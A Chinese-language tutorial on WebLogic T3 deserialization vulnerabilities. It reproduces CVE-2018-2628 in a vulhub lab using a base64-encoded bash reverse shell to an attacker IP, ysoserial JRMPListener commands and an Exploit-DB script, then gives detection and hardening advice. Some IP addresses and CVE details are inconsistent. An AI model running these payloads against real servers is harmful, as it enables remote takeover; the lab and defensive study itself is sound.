一、漏洞概述
WebLogic 是 Oracle 推出的 Java 应用服务器,其专有通信协议T3 协议因存在反序列化缺陷,成为远程代码执行漏洞的重灾区。攻击者可构造恶意序列化数据,通过 T3 协议发送给 WebLogic 服务器,在服务器反序列化过程中执行任意代码,实现远程控制。
历史上基于 T3 协议的高危漏洞包括 CVE-2015-4582、CVE-2016-0638、CVE-2018-2628、CVE-2020-2555 等,覆盖多个 WebLogic 版本,对企业级应用威胁极大。
二、T3 协议核心解析
1. 协议用途与特点
T3 协议是 WebLogic 的专有协议,主要用于:
- 服务器与客户端之间的通信;
- 服务器节点之间的内部数据传输;
- 承载 RMI(远程方法调用)通信,传输过程中会对 Java 对象进行序列化 / 反序列化处理。
2. 协议协商流程
T3 协议通信始于 “握手” 阶段,客户端发送包含协议版本等信息的包头,服务器返回响应确认协议支持。
(1)客户端请求示例
请求包头格式:
t3 12.2.3
AS:255
HL:19
MS:10000000
Python 模拟发送握手包代码:
import socket
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150" # 靶机IP
port = 7001 # T3默认端口
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024) # 接收服务器响应
print(data.decode())
(2)服务器响应示例
响应包含 WebLogic 版本等信息:
HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN
3. 协议数据结构
T3 协议数据包由 7 部分组成,其中第 2-7 部分为序列化数据(以
ac ed 00 05
为标识,Java 序列化数据的魔数),这是漏洞利用的关键区域。三、漏洞利用原理
1. 核心逻辑
T3 协议在传输 Java 对象时需经过 “序列化→传输→反序列化” 流程。攻击者通过构造恶意序列化对象,替换 T3 协议中第 2-7 部分的合法序列化数据,或拼接在第一部分后,使服务器在反序列化时执行恶意代码。
2. 利用流程
- 向 WebLogic 服务器发送 T3 协议握手包,确认协议支持;
- 生成恶意序列化数据(通过
ysoserial
等工具); - 将恶意数据按 T3 协议格式封装,作为第二个数据包发送;
- 服务器反序列化恶意数据,触发代码执行(如反弹 shell、文件操作)。
四、漏洞复现(以 CVE-2018-2628 为例)
1. 环境信息
- 影响版本:WebLogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
- 靶机:Kali(IP:192.168.13.128,通过 vulhub 部署)
- 攻击机:IP:192.168.13.131
- 工具:
ysoserial
(生成反序列化 Payload)、nc
(监听反弹 shell)
2. 复现步骤
(1)搭建靶场
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d # 启动后默认端口7001
(2)攻击机准备
- 监听反弹 shell 端口:
nc -lvvp 6666 # 等待靶机连接
- 构造反弹 shell 命令并 Base64 编码(避免特殊字符干扰):
# 原始命令(反弹到攻击机6666端口) bash -i >& /dev/tcp/192.168.226.141/6666 0>&1 # Base64编码后 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
- 启动 JRMP 服务(用于转发恶意 Payload):
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'
(3)发送恶意 T3 数据包
使用 Exploit-DB 上的脚本(44553)发送 Payload:
python2 exp.py 192.168.226.128 7001 ./ysoserial-all.jar 192.168.226.141 9999 JRMPClient
(4)结果验证
攻击机
nc
会话接收到靶机反弹的 shell,执行ls
等命令确认权限:五、主要 T3 协议漏洞对比
漏洞编号 | 影响版本范围 | 利用链核心 |
---|---|---|
CVE-2015-4582 | WebLogic 10.3.6.0、12.1.3.0 | 基于 CommonCollections 链 |
CVE-2016-0638 | WebLogic 10.3.6.0、12.1.3.0 | JRMPClient 反序列化 |
CVE-2018-2628 | WebLogic 10.3.6.0、12.1.3.0、12.2.1.x | 增强 CommonCollections 链 |
CVE-2020-2555 | WebLogic 10.3.6.0、12.1.3.0 | IIOP 协议反序列化(与 T3 同源) |
CVE-2020-2883 | WebLogic 10.3.6.0、12.1.3.0、12.2.1.x | T3 协议绕过黑名单 |
六、漏洞识别方法
- T3 协议探测:
向目标 7001 端口发送 T3 握手包,若收到含HELO
的响应,说明 T3 协议启用,存在潜在风险。 - 版本核查:
从响应的HELO
信息提取版本(如HELO:12.2.1.3.false
),若版本在漏洞影响范围内(如 10.3.6.0、12.1.3.0),则可能存在漏洞。 - 工具检测:
使用 Nessus、AWVS 等扫描工具,或专用脚本(如weblogic_scan
)检测 7001 端口,自动识别 T3 协议状态及漏洞版本。 - 漏洞验证:
发送含无害序列化数据的 T3 包,若服务器返回ClassNotFoundException
等反序列化错误,说明协议解析逻辑存在,可进一步测试恶意 Payload。
七、防御建议
- 关闭 T3 协议:
- 登录 WebLogic 控制台,进入 “服务器→配置→协议”,取消勾选 “启用 T3 协议”;
- 通过防火墙阻断 7001 端口的外部访问(非必要不开放)。
- 更新补丁与 JDK:
- 应用 Oracle 官方对应漏洞补丁(如 CPU 季度补丁);
- 升级 JDK 至 1.7.0.21 及以上,修复底层序列化漏洞。
- 代码与配置防护:
- 在 WebLogic 黑名单中添加危险类(如
org.apache.commons.collections.Transformer
); - 部署 WAF 拦截 T3 协议中含
ac ed 00 05
(序列化魔数)+ 危险类名的数据包。
- 在 WebLogic 黑名单中添加危险类(如
- 监控审计:
- 启用 WebLogic 日志,监控异常 T3 连接和反序列化错误(如
InvalidClassException
); - 定期扫描端口,确认 T3 协议是否已禁用或限制访问。
- 启用 WebLogic 日志,监控异常 T3 连接和反序列化错误(如